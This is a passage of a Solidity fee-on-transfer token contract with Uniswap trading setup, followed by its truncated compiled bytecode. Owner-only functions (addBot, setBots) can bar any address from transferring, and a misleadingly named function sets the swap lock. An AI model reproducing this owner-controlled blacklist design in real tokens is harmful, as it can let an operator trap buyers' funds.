require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 5; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3450000000000000000000 * 10**9; // 5% _maxWalletAmount = 6900000000000000000000 * 10**9; // 10% tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063c9567bf91161006f578063c9567bf914610473578063dd62ed3e1461048a578063e98391ff146104c7578063ec28438a146104f0578063f429389014610519578063ffecf5161461053057610156565b806395d89b41146103675780639a590427146103925780639b19251a146103bb578063a9059cbb146103e4578063b515566a14610421578063bf6642e71461044a57610156565b8063313ce56711610108578063313ce5671461027d57806351bc3c85146102a85780635932ead1146102bf57806370a08231146102e8578063715018a6146103255780638da5cb5b1461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee578063273123b71461022b57806327a14fc21461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610559565b60405161017d91906133d9565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612ed9565b610596565b6040516101ba91906133be565b60405180910390f35b3480156101cf57600080fd5b506101d86105b4565b6040516101e5919061359b565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612e8a565b6105ca565b60405161022291906133be565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612dd3565b6106a3565b005b34801561026057600080fd5b5061027b60048036038101906102769190612fa8565b610793565b005b34801561028957600080fd5b50610292610841565b60405161029f9190613610565b60405180910390f35b3480156102b457600080fd5b506102bd61084a565b005b3480156102cb57600080fd5b506102e660048036038101906102e19190612f56565b610863565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190612dd3565b610915565b60405161031c919061359b565b60405180910390f35b34801561033157600080fd5b5061033a610966565b005b34801561034857600080fd5b50610351610ab9565b60405161035e91906132f0565b60405180910390f35b34801561037357600080fd5b5061037c610ae2565b60405161038991906133d9565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612e25565b610b1f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612e25565b610c0f565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612ed9565b610cff565b60405161041891906133be565b60405180910390f35b34801561042d57600080fd5b5061044860048036038101906104439190612f15565b610d1d565b005b34801561045657600080fd5b50610471600480360381019061046c9190612fa8565b610e6d565b005b34801561047f57600080fd5b50610488610f0c565b005b34801561049657600080fd5b506104b160048036038101906104ac9190612e4e565b61148d565b6040516104be919061359b565b60405180910390f35b3480156104d357600080fd5b506104ee60048036038101906104e99190612f56565b611514565b005b3480156104fc57600080fd5b5061051760048036038101906105129190612fa8565b6115c6565b005b34801561052557600080fd5b5061052e611674565b005b34801561053c57600080fd5b5061055760048036038101906105529190612dd3565b611685565b005b60606040518060400160405280600c81526020017f4c4f4f4e4720445241474f4e0000000000000000000000000000000000000000815250905090565b60006105aa6105a3611775565b848461177d565b6001905092915050565b60006d0366e7064422fd84202340000000905090565b60006105d7848484611948565b610698846105e3611775565b61069385604051806060016040528060288152602001613d2660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610649611775565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211e9092919063ffffffff16565b61177d565b600190509392505050565b6106ab611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072f9061349b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61079b611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f9061349b565b60405180910390fd5b633b9aca00816108389190613758565b600d8190555050565b60006009905090565b600061085530610915565b905061086081612182565b50565b61086b611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef9061349b565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b600061095f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247c565b9050919050565b61096e611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f29061349b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c4f4f4e47000000000000000000000000000000000000000000000000000000815250905090565b610b27611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab9061349b565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c17611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b9061349b565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610d13610d0c611775565b8484611948565b6001905092915050565b610d25611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da99061349b565b60405180910390fd5b60005b8151811015610e6957600160066000848481518110610dfd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e61906138c3565b915050610db5565b5050565b610e75611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef99061349b565b60405180910390fd5b80600c8190555050565b610f14611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f989061349b565b60405180910390fd5b601360149054906101000a900460ff1615610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe89061353b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061108630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166d0366e7064422fd8420234000000061177d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110cc57600080fd5b505afa1580156110e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111049190612dfc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561116657600080fd5b505afa15801561117a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119e9190612dfc565b6040518363ffffffff1660e01b81526004016111bb92919061330b565b602060405180830381600087803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120d9190612dfc565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061129630610915565b6000806112a1610ab9565b426040518863ffffffff1660e01b81526004016112c39695949392919061335d565b6060604051808303818588803b1580156112dc57600080fd5b505af11580156112f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113159190612fd1565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506c2b8b8d1d01bfe034ce90000000600a819055506c57171a3a037fc0699d20000000600d819055506001601360146101000a81548160ff02191690831515021790555043600b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611437929190613334565b602060405180830381600087803b15801561145157600080fd5b505af1158015611465573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114899190612f7f565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61151c611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a09061349b565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b6115ce611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529061349b565b60405180910390fd5b633b9aca008161166b9190613758565b600a8190555050565b6000479050611682816124ea565b50565b61168d611775565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461171a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117119061349b565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e49061351b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561185d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118549061343b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161193b919061359b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af906134fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1f906133fb565b60405180910390fd5b60008111611a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a62906134bb565b60405180910390fd5b6005600e819055506009600f81905550611a83610ab9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611af15750611ac1610ab9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bd55750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120fd57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c7e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c8757600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d325750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d885750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611da05750601360179054906101000a900460ff165b15611f1457600a54811115611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de19061355b565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e629061357b565b60405180910390fd5b600d5481611e7884610915565b611e8291906136d1565b1115611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba906134db565b60405180910390fd5b601e42611ed091906136d1565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611fbf5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120155750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561202b576005600e819055506009600f819055505b600061203630610915565b90506000600c54821015905080801561205c5750601360159054906101000a900460ff16155b80156120b65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156120ce5750601360169054906101000a900460ff165b156120f6576120dc82612182565b600047905060008111156120f4576120f3476124ea565b5b505b505061210e565b6000600e819055506000600f819055505b6121198383836125e5565b505050565b6000838311158290612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d91906133d9565b60405180910390fd5b506000838561217591906137b2565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561220e5781602001602082028036833780820191505090505b509050308160008151811061224c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122ee57600080fd5b505afa158015612302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123269190612dfc565b81600181518110612360577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461177d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242b9594939291906135b6565b600060405180830381600087803b15801561244557600080fd5b505af1158015612459573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60006008548211156124c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ba9061341b565b60405180910390fd5b60006124cd6125f5565b90506124e2818461262090919063ffffffff16565b915050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61253a60028461262090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612565573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125b660028461262090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125e1573d6000803e3d6000fd5b5050565b6125f083838361266a565b505050565b6000806000612602612835565b91509150612619818361262090919063ffffffff16565b9250505090565b600061266283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128a6565b905092915050565b60008060008060008061267c87612909565b9550955095509550955095506126da86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461297190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127bb81612a19565b6127c58483612ad6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612822919061359b565b60405180910390a3505050505050505050565b6000806000600854905060006d0366e7064422fd8420234000000090506128756d0366e7064422fd8420234000000060085461262090919063ffffffff16565b821015612899576008546d0366e7064422fd842023400000009350935050506128a2565b81819350935050505b9091565b600080831182906128ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e491906133d9565b60405180910390fd5b50600083856128fc9190613727565b9050809150509392505050565b60008060008060008060008060006129268a600e54600f54612b10565b92509250925060006129366125f5565b905060008060006129498e878787612ba6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061211e565b905092915050565b60008082846129ca91906136d1565b905083811015612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a069061345b565b60405180910390fd5b8091505092915050565b6000612a236125f5565b90506000612a3a8284612c2f90919063ffffffff16565b9050612a8e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612aeb8260085461297190919063ffffffff16565b600881905550612b06816009546129bb90919063ffffffff16565b6009819055505050565b600080600080612b3c6064612b2e888a612c2f90919063ffffffff16565b61262090919063ffffffff16565b90506000612b666064612b58888b612c2f90919063ffffffff16565b61262090919063ffffffff16565b90506000612b8f82612b81858c61297190919063ffffffff16565b61297190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bbf8589612c2f90919063ffffffff16565b90506000612bd68689612c2f90919063ffffffff16565b90506000612bed8789612c2f90919063ffffffff16565b90506000612c1682612c08858761297190919063ffffffff16565b61297190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c425760009050612ca4565b60008284612c509190613758565b9050828482612c5f9190613727565b14612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c969061347b565b60405180910390fd5b809150505b92915050565b6000612cbd612cb884613650565b61362b565b90508083825260208201905082856020860282011115612cdc57600080fd5b60005b85811015612d0c5781612cf28882612d16565b845260208401935060208301925050600181019050612cdf565b5050509392505050565b600081359050612d2581613cc9565b92915050565b600081519050612d3a81613cc9565b92915050565b600081359050612d4f81613ce0565b92915050565b600082601f830112612d6657600080fd5b8135612d76848260208601612caa565b91505092915050565b600081359050612d8e81613cf7565b92915050565b600081519050612da381613cf7565b92915050565b600081359050612db881613d0e565b92915050565b600081519050612dcd81613d0e565b92915050565b600060208284031215612de557600080fd5b6000612df384828501612d16565b91505092915050565b600060208284031215612e0e57600080fd5b6000612e1c84828501612d2b565b91505092915050565b600060208284031215612e3757600080fd5b6000612e4584828501612d40565b91505092915050565b60008060408385031215612e6157600080fd5b6000612e6f85828601612d16565b9250506020612e8085828601612d16565b9150509250929050565b600080600060608486031215612e9f57600080fd5b6000612ead86828701612d16565b9350506020612ebe86828701612d16565b9250506040612ecf86828701612da9565b9150509250925092565b60008060408385031215612eec57600080fd5b6000612efa85828601612d16565b9250506020612f0b85828601612da9565b9150509250929050565b600060208284031215612f2757600080fd5b600082013567ffffffffffffffff811115612f4157600080fd5b612f4d84828501612d55565b91505092915050565b600060208284031215612f6857600080fd5b6000612f7684828501612d7f565b91505092915050565b600060208284031215612f9157600080fd5b6000612f9f84828501612d94565b91505092915050565b600060208284031215612fba57600080fd5b6000612fc884828501612da9565b91505092915050565b600080600060608486031215612fe657600080fd5b6000612ff486828701612dbe565b935050602061300586828701612dbe565b925050604061301686828701612dbe565b9150509250925092565b600061302c8383613038565b60208301905092915050565b613041816137e6565b82525050565b613050816137e6565b82525050565b60006130618261368c565b61306b81856136af565b93506130768361367c565b8060005b838110156130a757815161308e8882613020565b9750613099836136a2565b92505060018101905061307a565b5085935050505092915050565b6130bd8161380a565b82525050565b6130cc8161384d565b82525050565b60006130dd82613697565b6130e781856136c0565b93506130f781856020860161385f565b61310081613999565b840191505092915050565b60006131186023836136c0565b9150613123826139aa565b604082019050919050565b600061313b602a836136c0565b9150613146826139f9565b604082019050919050565b600061315e6022836136c0565b915061316982613a48565b604082019050919050565b6000613181601b836136c0565b915061318c82613a97565b602082019050919050565b60006131a46021836136c0565b91506131af82613ac0565b604082019050919050565b60006131c76020836136c0565b91506131d282613b0f565b602082019050919050565b60006131ea6029836136c0565b91506131f582613b38565b604082019050919050565b600061320d6017836136c0565b915061321882613b87565b602082019050919050565b60006132306025836136c0565b915061323b82613bb0565b604082019050919050565b60006132536024836136c0565b915061325e82613bff565b604082019050919050565b60006132766017836136c0565b915061328182613c4e565b602082019050919050565b6000613299601c836136c0565b91506132a482613c77565b602082019050919050565b60006132bc6012836136c0565b91506132c782613ca0565b602082019050919050565b6132db81613836565b82525050565b6132ea81613840565b82525050565b60006020820190506133056000830184613047565b92915050565b60006040820190506133206000830185613047565b61332d6020830184613047565b9392505050565b60006040820190506133496000830185613047565b61335660208301846132d2565b9392505050565b600060c0820190506133726000830189613047565b61337f60208301886132d2565b61338c60408301876130c3565b61339960608301866130c3565b6133a66080830185613047565b6133b360a08301846132d2565b979650505050505050565b60006020820190506133d360008301846130b4565b92915050565b600060208201905081810360008301526133f381846130d2565b905092915050565b600060208201905081810360008301526134148161310b565b9050919050565b600060208201905081810360008301526134348161312e565b9050919050565b6000602082019050818103600083015261345481613151565b9050919050565b6000602082019050818103600083015261347481613174565b9050919050565b6000602082019050818103600083015261349481613197565b9050919050565b600060208201905081810360008301526134b4816131ba565b9050919050565b600060208201905081810360008301526134d4816131dd565b9050919050565b600060208201905081810360008301526134f481613200565b9050919050565b6000602082019050818103600083015261351481613223565b9050919050565b6000602082019050818103600083015261353481613246565b9050919050565b6000602082019050818103600083015261355481613269565b9050919050565b60006020820